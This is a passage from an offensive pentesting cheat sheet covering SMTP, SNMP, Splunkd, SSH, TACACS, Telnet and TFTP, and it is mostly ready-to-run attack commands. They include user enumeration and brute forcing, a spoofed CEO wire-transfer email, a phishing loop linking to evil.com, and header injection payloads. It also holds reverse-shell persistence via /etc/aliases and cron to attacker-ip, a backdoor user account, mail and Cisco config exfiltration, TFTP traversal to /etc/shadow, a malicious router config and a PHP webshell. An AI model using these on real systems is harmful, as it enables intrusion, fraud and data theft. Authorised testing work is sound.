nmap -p 25 --script smtp-ntlm-info target.com

# Run all SMTP-related scripts
nmap -p 25,465,587 --script smtp-* target.com
```

User Enumeration

Enumerate valid email addresses and usernames from SMTP servers.

Using VRFY Command

```
# Manual testing with telnet
telnet target.com 25
VRFY admin
VRFY root
VRFY user

# Using smtp-user-enum
smtp-user-enum -M VRFY -U users.txt -t target.com
```

Using EXPN Command

```
# Expand mailing list
telnet target.com 25
EXPN admin
EXPN all
EXPN staff

# Using smtp-user-enum
smtp-user-enum -M EXPN -U users.txt -t target.com
```

Using RCPT TO Command

```
# Check if user exists
telnet target.com 25
MAIL FROM:<test@example.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 User unknown = doesn't exist

# Using smtp-user-enum
smtp-user-enum -M RCPT -U users.txt -t target.com -f sender@example.com
```

Command Enumeration

Discover supported SMTP commands and capabilities.

```
# Get supported commands
telnet target.com 25
EHLO attacker.com

# Response shows:
# 250-SIZE
# 250-VRFY
# 250-ETRN
```

 # 250-STARTTLS
 # 250-AUTH PLAIN LOGIN
 # 250 HELP

Attack Vectors

Exploit various SMTP vulnerabilities and misconfigurations for unauthorized access.

Open Relay Testing

Test SMTP servers for open relay vulnerabilities that allow unauthorized email forwarding.

 # Test 1: External to external
telnet target.com 25
MAIL FROM:<external1@example.com>
RCPT TO:<external2@anotherdomain.com>
DATA
Test
.

 # If accepts, it's an open relay

 # Test 2: Using nmap
nmap -p 25 --script smtp-open-relay target.com

 # Test 3: Using swaks
swaks --to external@domain.com --from external@otherdomain.com --server target.com

Email Spoofing

Send emails with spoofed sender addresses to bypass authentication and appear legitimate.

 # Spoof email from CEO
telnet target.com 25
EHLO attacker.com
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
To: employee@target.com
Subject: Urgent: Wire Transfer

Please transfer $50,000 to account XYZ immediately.
.
QUIT

```
# Using sendemail
sendemail -f ceo@target.com -t employee@target.com \
  -u "Urgent: Wire Transfer" \
  -m "Please transfer funds..." \
  -s target.com:25
```

SMTP Injection

Inject malicious content into SMTP communications to bypass security controls.

```
# Inject additional headers
# In forms that send email

Email: victim@target.com%0ACc:attacker@evil.com
Email: victim@target.com%0ABcc:attacker@evil.com
Email: victim@target.com%0AFrom:admin@target.com

# Inject mail body
Message: Test%0A.%0AMAIL FROM:<attacker@evil.com>%0ARCPT
TO:<victim2@target.com>%0ADATA%0APhishing email%0A.

# CRLF injection
Subject: Test%0D%0ACc:attacker@evil.com
```

Phishing Campaign

Launch targeted phishing campaigns using compromised SMTP servers.

```
# Create phishing email list
cat > targets.txt <<EOF
victim1@target.com
victim2@target.com
victim3@target.com
EOF

# Send phishing emails
while read email; do
  swaks --to $email \
    --from support@target.com \
    --server target.com \
    --header "Subject: Password Reset Required" \
    --body "Click here: http://evil.com/phishing"
```

done < targets.txt

Brute Force Attack

Brute force SMTP authentication credentials using various tools.

Using Hydra

```
# Using hydra
hydra -l user@target.com -P passwords.txt smtp://target.com:587

# With username list
hydra -L users.txt -P passwords.txt smtp://target.com:587
```

Using Metasploit

```
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS target.com
run
```

Post-Exploitation

Extract sensitive data and manipulate mail systems after successful SMTP exploitation.

Email Harvesting

Extract email addresses and sensitive information from mail servers.

```
# If you have access to mail server

# Read mail spool
cat /var/mail/username
cat /var/spool/mail/username

# Maildir format
ls -la /home/username/Maildir/cur/
cat /home/username/Maildir/cur/*

# Extract email addresses
grep -Eiorh '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b' /var/mail/*
```

Mail Queue Manipulation

Manipulate mail queues to intercept or modify messages.

```
# View mail queue
mailq

# Read queued messages
postcat -q QUEUE_ID

# Flush mail queue
postfix flush

# Delete from queue
postsuper -d QUEUE_ID
postsuper -d ALL
```

Data Exfiltration

Extract sensitive data from compromised mail systems.

```
# Search for sensitive keywords
grep -r -i "password\|secret\|confidential" /var/mail/

# Extract attachments
find /var/mail/ -name "*.pdf" -o -name "*.doc" -o -name "*.xls"

# Extract financial information
grep -r -i "account\|routing\|ssn\|credit" /var/mail/
```

Persistence

Create persistent backdoor access to mail systems.

```
# Modify mail server configuration
# Add backdoor user to mail system
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd

# Modify mail aliases
echo "backdoor: |/bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'" >> /etc/aliases
newaliases

# Create cron job for persistence
echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'" | crontab -
```

Common SMTP Commands

Command	Description	Usage
HELO	Identify client	HELO client.com
EHLO	Extended HELO	EHLO client.com
MAIL FROM	Sender address	MAIL FROM:<sender@domain.com>
RCPT TO	Recipient	RCPT TO:<recipient@domain.com>
DATA	Message content	DATA
VRFY	Verify user	VRFY admin
EXPN	Expand list	EXPN all
RSET	Reset	RSET
NOOP	No operation	NOOP
QUIT	Close	QUIT

SMTP Response Codes

Code	Meaning	Description
220	Service ready	Server ready
250	OK	Command successful
354	Start input	Ready for message

Code	Meaning	Description
421	Service not available	Server closing
450	Mailbox unavailable	Temporary failure
550	Mailbox unavailable	Permanent failure
551	User not local	Relay denied
552	Storage exceeded	Quota exceeded
553	Mailbox name invalid	Bad address

Useful Tools

Tool	Description	Primary Use Case
telnet	Terminal emulator	Manual testing
netcat	Network utility	Connection testing
swaks	SMTP test tool	Email sending
smtp-user-enum	User enumeration	Finding valid users
sendemail	Email sender	Phishing campaigns
Metasploit	Exploitation framework	Automated testing
Nmap	Network scanner	Service detection

Security Misconfigurations

- ❌ Open relay configuration
- ❌ VRFY/EXPN enabled
- ❌ No authentication required
- ❌ Weak authentication
- ❌ No SPF/DMARC records
- ❌ No TLS encryption
- ❌ Verbose error messages
- ❌ No rate limiting
- ❌ Information disclosure via NTLM
- ❌ Outdated mail server software

20.) SNMP (Simple Network Management Protocol)

Default Port: 161/UDP, 162/UDP (Traps)

Simple Network Management Protocol (SNMP) is an Internet Standard protocol for collecting and organizing information about managed devices on IP networks and for modifying that information to change device behavior. Devices that typically support SNMP include routers, switches, servers, workstations, printers, modem racks, and more. It is widely used for network monitoring and management. SNMP exposes management data in the form of variables on the managed systems, which describe the system status and configuration. These variables can then be queried (and sometimes set) by managing applications.

Connect

Interaction with SNMP-enabled devices is typically done using command-line tools that can send SNMP requests to an agent.

Using snmpwalk

snmpwalk is a command-line application that uses SNMP GETNEXT requests to query a network entity for a tree of information.

 # For SNMPv1/v2c (most common for pentesting due to weaker security)
snmpwalk -c <community_string> -v1 <target_ip>
snmpwalk -c <community_string> -v2c <target_ip>

 # Example: Walking the entire MIB tree
snmpwalk -c public -v2c 192.168.1.1

 # Example: Walking a specific OID
snmpwalk -c public -v2c 192.168.1.1 .1.3.6.1.2.1.1.1.0 *# sysDescr*

Using snmp-check

snmp-check is another useful tool for enumerating SNMP information in a human-readable format.

snmp-check -t <target_ip> -c <community_string>
 # If community string is unknown, it might try default ones like 'public'
snmp-check -t 192.168.1.1

Using snmpget

snmpget is used to retrieve a specific MIB (Management Information Base) object value from an SNMP agent.

snmpget -v2c -c <community_string> <target_ip> <OID>
 # Example
snmpget -v2c -c public 192.168.1.1 sysDescr.0

Recon

Service Detection with Nmap

Use Nmap to detect SNMP services and identify server capabilities.

nmap -sU -p 161 target.com

Banner Grabbing

Connect to SNMP services to gather version and system information.

Using snmpget

 # Using snmpget to retrieve system description (sysDescr)
snmpget -v1 -c public target.com .1.3.6.1.2.1.1.1.0
snmpget -v2c -c public target.com sysDescr.0

Using nmap

 # Nmap scripts can provide detailed SNMP information
nmap -sU -p 161 --script snmp-info target.com

Enumeration

Use various tools for detailed SNMP enumeration and information gathering.

Community String Discovery

Discover valid SNMP community strings for authentication.

Using onesixtyone

 # Using onesixtyone
onesixtyone -c /path/to/community_string_list.txt target.com

Using Nmap

 # Using Nmap script
nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=community_strings.txt target.com

Using Metasploit

```
msfconsole
msf > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(scanner/snmp/snmp_login) > set RHOSTS target.com
msf auxiliary(scanner/snmp/snmp_login) > set PASS_FILE /path/to/community_wordlist.txt
msf auxiliary(scanner/snmp/snmp_login) > run
```

System Information Enumeration

Enumerate system information using discovered community strings.

Using snmp-check

```
# Using snmp-check for a comprehensive enumeration
snmp-check -t target.com -c <community_string>
```

Using snmpwalk

```
# Walking common MIBs
snmpwalk -c <community_string> -v2c target.com system # System information
snmpwalk -c <community_string> -v2c target.com interfaces # Network interfaces
snmpwalk -c <community_string> -v2c target.com ipAddrTable # IP addresses
snmpwalk -c <community_string> -v2c target.com hrSystemUptime # Host Uptime
snmpwalk -c <community_string> -v2c target.com hrStorageTable # Storage Info
snmpwalk -c <community_string> -v2c target.com hrSWRunTable # Running Software
```

Using Nmap Scripts

```
# Enumerate system information
nmap -sU -p 161 --script snmp-sysdescr target.com -sV

# Enumerate network interfaces
nmap -sU -p 161 --script snmp-interfaces target.com -sV

# Enumerate listening TCP/UDP ports
nmap -sU -p 161 --script snmp-netstat target.com -sV

# Enumerate running processes
nmap -sU -p 161 --script snmp-processes target.com -sV
```

Windows-Specific Enumeration

Enumerate Windows-specific information via SNMP.

```
msfconsole
msf > use auxiliary/scanner/snmp/snmp_enum
```

```
msf auxiliary(scanner/snmp/snmp_enum) > set RHOSTS target.com
msf auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY <community_string> # Defaults to public
msf auxiliary(scanner/snmp/snmp_enum) > run

msf > use auxiliary/scanner/snmp/snmp_enumusers # If enumerating users on Windows via SNMP
msf auxiliary(scanner/snmp/snmp_enumusers) > set RHOSTS target.com
msf auxiliary(scanner/snmp/snmp_enumusers) > run

msf > use auxiliary/scanner/snmp/snmp_enumshares # If enumerating shares on Windows via SNMP
msf auxiliary(scanner/snmp/snmp_enumshares) > set RHOSTS target.com
msf auxiliary(scanner/snmp/snmp_enumshares) > run
```

Attack Vectors

Exploit various SNMP vulnerabilities and misconfigurations for unauthorized access.

Default and Weak Community Strings

SNMP installations often retain default or weak community strings for system access.

```
# Test default community strings
snmpwalk -c public -v1 target.com
snmpwalk -c private -v1 target.com
snmpwalk -c public -v2c target.com
snmpwalk -c private -v2c target.com

# Other common strings
snmpwalk -c admin -v2c target.com
snmpwalk -c manager -v2c target.com
snmpwalk -c community -v2c target.com
```

Brute Force Attack

Brute force SNMP community strings using various tools and techniques.

Using onesixtyone

```
# Using onesixtyone
onesixtyone -c /path/to/community_string_list.txt target.com
```

Using Nmap

nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=wordlist.txt target.com

Using Metasploit

msfconsole
msf > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(scanner/snmp/snmp_login) > set RHOSTS target.com
msf auxiliary(scanner/snmp/snmp_login) > set PASS_FILE /path/to/community_wordlist.txt
msf auxiliary(scanner/snmp/snmp_login) > run

SNMPv3 Credential Cracking

Exploit SNMPv3 vulnerabilities for unauthorized access.

 # SNMPv3 is more secure but can be vulnerable if weak credentials are used
 # Tools like snmp-brute.py (part of the snmpwn toolset) or custom scripts
 # might be used if SNMPv3 user enumeration is possible

 # Capturing SNMPv3 traffic can also allow offline password cracking
 # attempts against the hashed credentials

Write Access Exploitation

Exploit read-write community strings to modify device configurations.

 # Example: Changing the system name (sysName OID: .1.3.6.1.2.1.1.5.0)
 # Syntax: snmpset -v[1|2c] -c <rw_community_string> <target_ip> <OID> <type> <value>
snmpset -v2c -c private target.com .1.3.6.1.2.1.1.5.0 s "NewSystemName"

 # Potentially more harmful:
 # - Modifying routing tables
 # - Shutting down interfaces
 # - Uploading/downloading device configurations (e.g., on Cisco devices via TFTP related OIDs)
 # - Clearing logs

Information Disclosure

Extract sensitive information from SNMP-enabled devices.

Even with read-only access, SNMP can reveal a vast amount of sensitive information:

 # Network topology (routing tables, ARP caches)
snmpwalk -c public -v2c target.com .1.3.6.1.2.1.4.22.1.3

 # Device configurations
snmpwalk -c public -v2c target.com .1.3.6.1.2.1.1.1.0

 # Usernames (especially on Windows systems)
snmpwalk -c public -v2c target.com .1.3.6.1.4.1.77.1.2.25

 # Running services and processes
snmpwalk -c public -v2c target.com .1.3.6.1.2.1.25.4.2.1.2

 # Software versions
snmpwalk -c public -v2c target.com .1.3.6.1.2.1.25.6.3.1.2

Post-Exploitation

Extract sensitive data and manipulate network devices after successful SNMP exploitation.

Information Gathering

Extract comprehensive information from SNMP-enabled devices using specific OIDs.

 # System description
snmpget -v2c -c public target.com .1.3.6.1.2.1.1.1.0

 # System name
snmpget -v2c -c public target.com .1.3.6.1.2.1.1.5.0

 # Interface descriptions
snmpwalk -v2c -c public target.com .1.3.6.1.2.1.2.2.1.2

 # IP addresses on interfaces
snmpwalk -v2c -c public target.com .1.3.6.1.2.1.4.20.1.1

 # ARP table (IP to MAC)
snmpwalk -v2c -c public target.com .1.3.6.1.2.1.4.22.1.3

 # Running programs
snmpwalk -v2c -c public target.com .1.3.6.1.2.1.25.4.2.1.2

 # Installed software
snmpwalk -v2c -c public target.com .1.3.6.1.2.1.25.6.3.1.2

 # Storage descriptions (Windows)

```
snmpwalk -v2c -c public target.com .1.3.6.1.4.1.77.1.2.25

# System CPU load (Net-SNMP)
snmpwalk -v2c -c public target.com .1.3.6.1.4.1.2021.11
```

Configuration Modification

Modify device configurations using write access community strings.

```
# Example: Setting an interface administratively down
# To set interface with index 1 down (integer value 2 for 'down')
snmpset -v2c -c private target.com .1.3.6.1.2.1.2.2.1.7.1 i 2

# Change system name
snmpset -v2c -c private target.com .1.3.6.1.2.1.1.5.0 s "CompromisedDevice"

# Modify contact information
snmpset -v2c -c private target.com .1.3.6.1.2.1.1.4.0 s "Attacker <attacker@evil.com>"
```

Data Exfiltration

Extract device configurations and sensitive data using SNMP.

```
# On some devices (like older Cisco IOS), SNMP can be used to trigger
# the copying of the running or startup configuration to a TFTP server

# Example OIDs for Cisco configuration exfiltration:
# Set copy protocol to TFTP
snmpset -v2c -c private target.com .1.3.6.1.4.1.9.9.96.1.1.1.1.2.1 i 1

# Set source file type (running config = 4, startup config = 3)
snmpset -v2c -c private target.com .1.3.6.1.4.1.9.9.96.1.1.1.1.3.1 i 4

# Set destination file type (network file = 1)
snmpset -v2c -c private target.com .1.3.6.1.4.1.9.9.96.1.1.1.1.4.1 i 1

# Set TFTP server IP
snmpset -v2c -c private target.com .1.3.6.1.4.1.9.9.96.1.1.1.1.5.1 a "192.168.1.100"

# Set filename on TFTP server
snmpset -v2c -c private target.com .1.3.6.1.4.1.9.9.96.1.1.1.1.6.1 s "config.txt"

# Start the copy operation
```

snmpset -v2c -c private target.com .1.3.6.1.4.1.9.9.96.1.1.1.1.14.1 i 4

Network Mapping

Use SNMP information to map network topology and identify additional targets.

```
# Extract routing tables
snmpwalk -v2c -c public target.com .1.3.6.1.2.1.4.21.1.1

# Get ARP cache for network mapping
snmpwalk -v2c -c public target.com .1.3.6.1.2.1.4.22.1.3

# Discover CDP/LLDP neighbors (Cisco devices)
snmpwalk -v2c -c public target.com .1.3.6.1.4.1.9.9.23.1.2.1.1.6

# Get interface status for network topology
snmpwalk -v2c -c public target.com .1.3.6.1.2.1.2.2.1.8
```

Persistence

Create persistent backdoor access to SNMP-enabled devices.

```
# Modify SNMP community strings (if write access available)
# This would require device-specific OIDs and may not be possible on all devices

# Create additional SNMP users (SNMPv3)
# This would require device-specific configuration and proper authentication

# Modify SNMP trap destinations to send data to attacker
snmpset -v2c -c private target.com .1.3.6.1.4.1.9.9.43.1.2.1.1.3.1 s "192.168.1.100"
```

21.) Splunkd Pentesting

Default Port: 8089

Splunkd is the core component of the Splunk platform, responsible for indexing, searching, and processing data ingested by Splunk. It provides a web interface and APIs for managing and analyzing machine-generated data.

Splunk is widely used for log management, security information and event management (SIEM), and data analytics in enterprise environments.

Connect

Connect Using Web Interface

You can access the Splunk web interface by navigating to https://<splunk-server-ip>:8089 in a web browser.

Connect Using Splunk CLI

Splunk CLI commands can be used for various administrative tasks and querying data. You can connect to Splunk using the following command:

splunk login -auth <username>:<password> -port 8089 -host <splunk-server-ip>

Recon

Identifying a Splunk Server

You can use Nmap to check if there's a Splunk server running on a target host like this:

nmap -p 8089 X.X.X.X

Banner Grabbing

You can use tools like Netcat to perform banner grabbing and retrieve information about the Splunk service:

nc -nv X.X.X.X 8089

Enumeration

Splunkd API Endpoints

Splunkd exposes various API endpoints for interacting with the Splunk platform. You can enumerate these endpoints to gather information about the server and available functionalities.

Attack Vectors

Default Credentials

Check for default credentials or weak authentication configurations in Splunk instances, such as admin:admin or admin:<blank>.

Unauthorized Access

Exploit misconfigured access controls or weak authentication mechanisms to gain unauthorized access to sensitive data stored in Splunk.

Post-Exploitation

Common Splunk CLI Commands

Command	Description
splunk search <query>	Perform a search query in Splunk.
splunk list <entity>	List entities like indexes, sources, or sourcetypes.
splunk info <entity>	Display detailed information about a specific entity.
splunk add <entity> <name>	Add a new entity to Splunk (e.g., index, input).
splunk delete <entity> <name>	Delete an existing entity from Splunk.

Data Manipulation

Manipulate indexed data in Splunk, such as modifying or deleting events, altering timestamps, or injecting fake data.

22.) SSH (Secure Shell)

Default Port: 22

Secure Shell (SSH) is a protocol used to securely connect to another computer over a network. It allows you to log into another computer, execute commands, and transfer files, all in a secure manner. This is because SSH encrypts your connection, making it difficult for hackers to intercept and understand the data being exchanged.

It's commonly used by network administrators to control web servers, by developers to access programming environments, and by anyone needing secure access to a computer over the internet.

Connect

Connect with Terminal

If you have knowledge of a target credential, you can establish a remote server connection via SSH using that credential.

ssh username@X.X.X.X

If you have the private key, you can log in to a remote server using SSH.

ssh -i path/to/private_key user@target-ip

Connect with PuTTY (Windows)

Install PuTTY and run it then enter target IP address and port(22 by default) also choose to connect type as SSH.

Enumeration

Identifying an FTP Server

You can use Nmap to check if there's an SSH server on a target host like this:

nmap -p 22 X.X.X.X

Banner Grabbing

You can use Netcat to find out what service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

nc -vn X.X.X.X 22

Automated audit with ssh-audit

"ssh-audit" is a tool for analyzing SSH connections, providing details on banners, OS/software recognition, compression detection, algorithm information and security recommendations.

ssh-audit X.X.X.X 22

Identify Authentication Methods with Nmap

ssh-auth-methods is an Nmap script used to identify the authentication methods supported by an SSH server.

nmap --script ssh-auth-methods --script-args="ssh.user=username" -p 22 X.X.X.X

User Enumeration with Metasploit

The ssh_enumusers module in Metasploit is designed to enumerate valid usernames on a target SSH server. It performs this by attempting to log in with a list of commonly used usernames.

msfconsole
msf> use auxiliary/scanner/ssh/ssh_enumusers

Attack Vectors

Brute Force Attack

hydra -l user -P /path/to/wordlist.txt ssh://X.X.X.X

SSH Key Brute Forcing

Attempting to crack SSH keys with tools like `John the Ripper``:

/usr/share/john/ssh2john.py id_rsa > id_rsa.hash
john --wordlist=path/to/wordlist.txt id_rsa.hash

Post-Exploitation

Port Forwarding

Forward local ports to the attacker's machine to access network services on the target's network:

Local Port Forwarding

ssh -L localPort:remoteHost:remotePort user@sshServer

Local Port Forwarding

ssh -R remotePort:localHost:localPort user@sshServer

SSH Tunneling

ssh -D 8080 user@X.X.X.X

File Transfer

SCP (Secure Copy Protocol)

Download files

scp user@target-ip:/path/to/remote/file /path/to/local/destination

Upload files

scp /path/to/local/file user@target-ip:/path/to/remote/destination

SFTP (SSH File Transfer Protocol):

sftp user@target-ip

Command Execution

ssh user@target-ip 'command_to_run'

Maintaining Access

echo your_public_key >> ~/.ssh/authorized_keys

Privilege Escalation

Leverage local vulnerabilities or misconfigurations to gain elevated privileges.

ssh user@target-ip 'sudo -l'

23.) TACACS Pentesting

Default Port: 49

TACACS (Terminal Access Controller Access-Control System) is a protocol used to manage access to network devices and servers. TACACS+ is a more secure and advanced version that provides authentication, authorization, and accounting.

Connect

Connect Using TACACS Client

You can connect to a TACACS server using a TACACS client. For example, on Linux systems, you can use the TACACS client with the following command:

tacacs_client -u <username> -p <password> -a <TACACS-server-ip>

This command allows you to connect to a specific TACACS server with a given username and password.

Recon

Identifying a TACACS Server

You can use Nmap to check if there is a TACACS service running on a specific host:

nmap -p 49 X.X.X.X

This command checks if there is a service running on port 49 of the specified IP address.

Banner Grabbing

You can use Netcat or a similar tool to perform banner grabbing and retrieve information about the TACACS service:

nc -nv X.X.X.X 49

This command collects banner information from the service running on port 49 of the given IP address.

Enumeration

TACACS+ Packet Analysis

You can use packet analysis tools like Wireshark to capture and analyze TACACS+ packets. TACACS+ traffic operates over TCP port 49.

Enumerating TACACS Users

There may be methods to enumerate TACACS users and groups, although it typically requires proper authorization. If you gain access, you can attempt to retrieve user and group details.

Attack Vectors

Default Credentials

Check for default credentials or weak authentication configurations. For example, try common password combinations like admin:admin123 or admin:<blank>.

Brute Force Attacks

You can perform brute-force attacks to guess weak passwords using tools like hydra:

hydra -l admin -P /path/to/passwords.txt <target_ip> -s 49 tacacs

Unauthorized Access

Exploit misconfigured access controls or weak authentication mechanisms to gain unauthorized access.

Post-Exploitation

Privilege Escalation

After gaining unauthorized access, try various methods to escalate privileges to higher-level accounts.

Data Analysis and Manipulation

Once you have access to sensitive data on network devices, you can analyze or manipulate this data.

User Session Hijacking

Target and hijack active user sessions to capture session information and manipulate sessions to your advantage.

Example of TACACS CLI Commands (Hypothetical)

Command	Description
tacacs_client -l <entity>\	List entities like users or sessions.
tacacs_client -i <entity>\ -u <user>\	Display detailed information about a specific user.

Command	Description
tacacs_client -a <entity>\ -n <name>\	Add a new user/entity to TACACS.
tacacs_client -d <entity>\ -u <user>\	Delete an existing user/entity from TACACS.

These commands are typically used for managing TACACS, and you can use them after gaining unauthorized access.

24.) Telnet

Default Port: 23

Telnet is an old network protocol that provides insecure access to computers over a network. It is used to connect to remote systems over TCP/IP networks. However, due to security vulnerabilities, its usage is not recommended, and more secure alternatives like SSH are preferred.

Telnet operates on a client-server model, where a system acts as a server and others act as clients. The server grants access to remote devices, while clients connect to the server to send commands and receive responses.

Telnet is vulnerable to sniffing attacks. It can also be vulnerable to attacks where it uses default credentials or lacks authentication for access.

Connect

Connect Using Telnet Command

telnet <target-ip> <target-port>

#target port is optional

Enumeration

Identifying a Telnet Server

You can use Nmap to check if there's an Telnet server on a target host like this:

nmap -p 23 X.X.X.X

Assessing Encryption on Telnet Server

The telnet-encryption script of Nmap is designed to assess the presence of encryption support on Telnet servers. It should be noted that incorrect implementations in certain systems may result in security vulnerabilities. This script solely evaluates the availability of encryption support.

nmap -p 23 --script telnet-encrpytion X.X.X.X

Extracting NTLM Authentication Details on Telnet Server

The telnet-ntlm-info script of Nmap is designed to gather information from remote Microsoft Telnet services that have NTLM authentication enabled. By initiating a MS-TNAP NTLM authentication request using null credentials, the script prompts the remote service to return a NTLMSSP message. This response reveals critical information, including the NetBIOS name, DNS name, and the operating system's build version.

nmap -p 23 --script telnet-ntlm-info X.X.X.X

Banner Grabbing

You can use Netcat to find out what service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

nc -nv X.X.X.X 23

Attack Vectors

Passwordless Authentication

Telnet allows users to connect to a server without needing a specific identity by utilizing a passwordless login feature. This method is commonly employed for accessing or downloading public files.

telnet X.X.X.X

#provide username
#do not provide any password

Common Credentials

If anonymous login is disabled on the Telnet server, trying common usernames and passwords like admin, administrator , root , user, or test can be a good initial step. This approach is less aggressive than attempting to guess passwords through brute force and is recommended to try first when accessing a server.

telnet X.X.X.X

#provide a common username
#provide a common password

Bruteforcing Credentials

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system.

Tools like Hydra are designed for cracking into networks and can be used on services like Telnet, HTTP, SMB, etc. For Telnet, Hydra often carries out a dictionary attack, which means it uses a list of possible usernames and passwords from a file to try and log in.

Bruteforcing with Hydra

To use Hydra for brute-forcing Telnet login credentials, you would use a command structured for this purpose:

hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] telnet://X.X.X.X

Bruteforcing with Nmap

It is also possible to perform brute force on Telnet with Nmap scripts:

nmap -p 23 --script telnet-brute X.X.X.X

Bruteforcing with Metasploit

It is also possible to apply brute force with Metasploit modules on Telnet:

```
use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts X.X.X.X
msf auxiliary(telnet_login) > set user_file /path/to/user.txt
msf auxiliary(telnet_login) > set pass_file /path/to/pass.txt
msf auxiliary(telnet_login) > set stop_on_success true
msf auxiliary(telnet_login) > exploit
```

MITM: Telnet Spoofing with Metasploit

A man-in-the-middle attack to capture Telnet login credentials can be performed using the Metasploit module.

```
use auxiliary/server/capture/telnet
set srvhost X.X.X.X
set banner Hackviser Telnet Server
exploit
```

Post-Exploitation

Common Telnet Commands

Command	Description	Usage
open	Connects to a specified remote host	telnet open example.com 23
close	Closes the current connection	telnet> close
quit	Exits telnet	telnet> quit

Command	Description	Usage
status	Shows the current status of the telnet client	telnet> status
z	Suspends telnet (on Unix/Linux systems)	telnet> z
set	Sets Telnet options (like terminal type)	telnet> set term vt100
unset	Unsets Telnet options	telnet> unset term
display	Displays current settings of Telnet options	telnet> display
send	Sends special characters or sequences (like break)	telnet> send break
mode	Sets the mode of operation (e.g., line by line or character)	telnet> mode character
logout	Logs out from the remote system (not available on all systems)	telnet> logout

25.) TFTP (Trivial File Transfer Protocol)

Default Port: 69 (UDP)

Trivial File Transfer Protocol (TFTP) is a simple, lockstep file transfer protocol that uses UDP port 69. It's designed to be simple and easy to implement, lacking the authentication and features of FTP. TFTP is commonly used for booting diskless workstations, uploading configurations to network devices, and firmware updates. Due to its lack of authentication, it can be a significant security risk when misconfigured.

Connect

Using tftp Client (Linux/Unix)

```
# Interactive mode
tftp target.com
tftp> get filename
tftp> put localfile
tftp> quit

# Direct command
tftp target.com <<EOF
get config.cfg
quit
EOF

# Specify port (if non-standard)
tftp -p 6969 target.com
```

Using tftp-hpa (Enhanced TFTP client)

```
# Get file
tftp target.com -c get remotefile.txt

# Put file
tftp target.com -c put localfile.txt

# Binary mode
tftp target.com -m binary -c get firmware.bin

# ASCII mode
tftp target.com -m ascii -c get config.txt
```

Using atftp

```
# Get file with progress
atftp --get -r remotefile.txt target.com

# Put file
atftp --put -l localfile.txt target.com

# Specify timeout
atftp --option "timeout 10" --get -r file.txt target.com
```

Using Python

```
import tftpy

# Download file
client = tftpy.TftpClient('target.com', 69)
client.download('remotefile.txt', 'localfile.txt')

# Upload file
client.upload('localfile.txt', 'remotefile.txt')
```

Recon

Service Detection with Nmap

Use Nmap to detect TFTP services and identify server capabilities.

```
nmap -sU -p 69 target.com
```

Banner Grabbing

Connect to TFTP services to gather version and service information.

Using netcat

```
# Using netcat (limited for UDP)
nc -u target.com 69

# Using tftp client
echo -e "\x00\x01test.txt\x00octet\x00" | nc -u target.com 69

# Check response
timeout 2 bash -c "echo -e '\x00\x01test\x00octet\x00' | nc -u target.com 69" | xxd
```

Using tftp client

```
# Try to download a common file
tftp target.com <<EOF
get test.txt
quit
EOF

# Check if write is allowed
echo "test" > test.txt
tftp target.com <<EOF
put test.txt
quit
EOF
```

Enumeration

TFTP Service Assessment

Use specialized tools for TFTP server enumeration and vulnerability assessment.

Using Nmap Scripts

```
# TFTP service detection
nmap -sU -p 69 -sV target.com

# TFTP enumeration script
nmap -sU -p 69 --script tftp-enum target.com

# Version detection
nmap -sU -p 69 --script tftp-version target.com
```

Using Metasploit

```
use auxiliary/scanner/tftp/tftpbrute
set RHOSTS target.com
run
```

File Enumeration

Enumerate accessible files on TFTP servers.

Common File Discovery

```
# Common filenames to try
tftp target.com <<EOF
get running-config
get startup-config
```

```
get config.txt
get backup.cfg
get router-config
get switch-config
quit
EOF

# Network device configs
- running-config
- startup-config
- config.cfg
- config.txt
- configuration
- backup.cfg

# System files
- /etc/passwd
- /etc/shadow
- boot.ini
- win.ini
```

Brute Force Filenames

```
# Using tftpbrute (Metasploit)
use auxiliary/scanner/tftp/tftpbrute
set RHOSTS target.com
set DICTIONARY /usr/share/wordlists/tftp.txt
run

# Custom script
for file in $(cat filenames.txt); do
  echo "Trying: $file"
  timeout 2 tftp target.com <<EOF
get $file
quit
EOF
  if [ -f "$file" ]; then
    echo "[+] Found: $file"
  fi
done

# Common filename patterns
config*
```

```
*.cfg
*.conf
*.txt
*.xml
backup*
router*
switch*
*.bin
```

Directory Traversal Attempts

```
# Try path traversal
tftp target.com <<EOF
get ../../../etc/passwd
get ..\..\..\..\windows\win.ini
get ../../boot.ini
quit
EOF

# URL encoded
get %2e%2e%2f%2e%2e%2fetc%2fpasswd

# Double encoding
get %252e%252e%252fetc%252fpasswd
```

Attack Vectors

Exploit various TFTP vulnerabilities and misconfigurations for unauthorized access.

File Download (Read Access)

Download sensitive files from TFTP servers.

```
# Download configuration files
tftp target.com <<EOF
get running-config running-config.txt
get startup-config startup-config.txt
get config.cfg config.txt
quit
EOF

# Download system files
tftp target.com <<EOF
get /etc/passwd passwd.txt
get /etc/shadow shadow.txt
```

```
quit
EOF

# Bulk download
for file in running-config startup-config config.cfg backup.cfg; do
  echo "[*] Trying to download: $file"
  tftp target.com <<EOF
get $file downloaded-$file
quit
EOF
done
```

File Upload (Write Access)

Upload malicious files to TFTP servers.

```
# Test write access
echo "test" > test.txt
tftp target.com <<EOF
put test.txt
quit
EOF

# Upload malicious configuration
cat > malicious-config.txt <<EOF
username backdoor privilege 15 secret P@ssw0rd123!
line vty 0 4
login local
transport input all
end
EOF

tftp target.com <<EOF
put malicious-config.txt running-config
quit
EOF

# Upload webshell (if TFTP root is web accessible)
cat > shell.php <<'EOF'
<?php system($_GET['cmd']); ?>
EOF

tftp target.com <<EOF
put shell.php
```

```
quit
EOF
```

Configuration Tampering

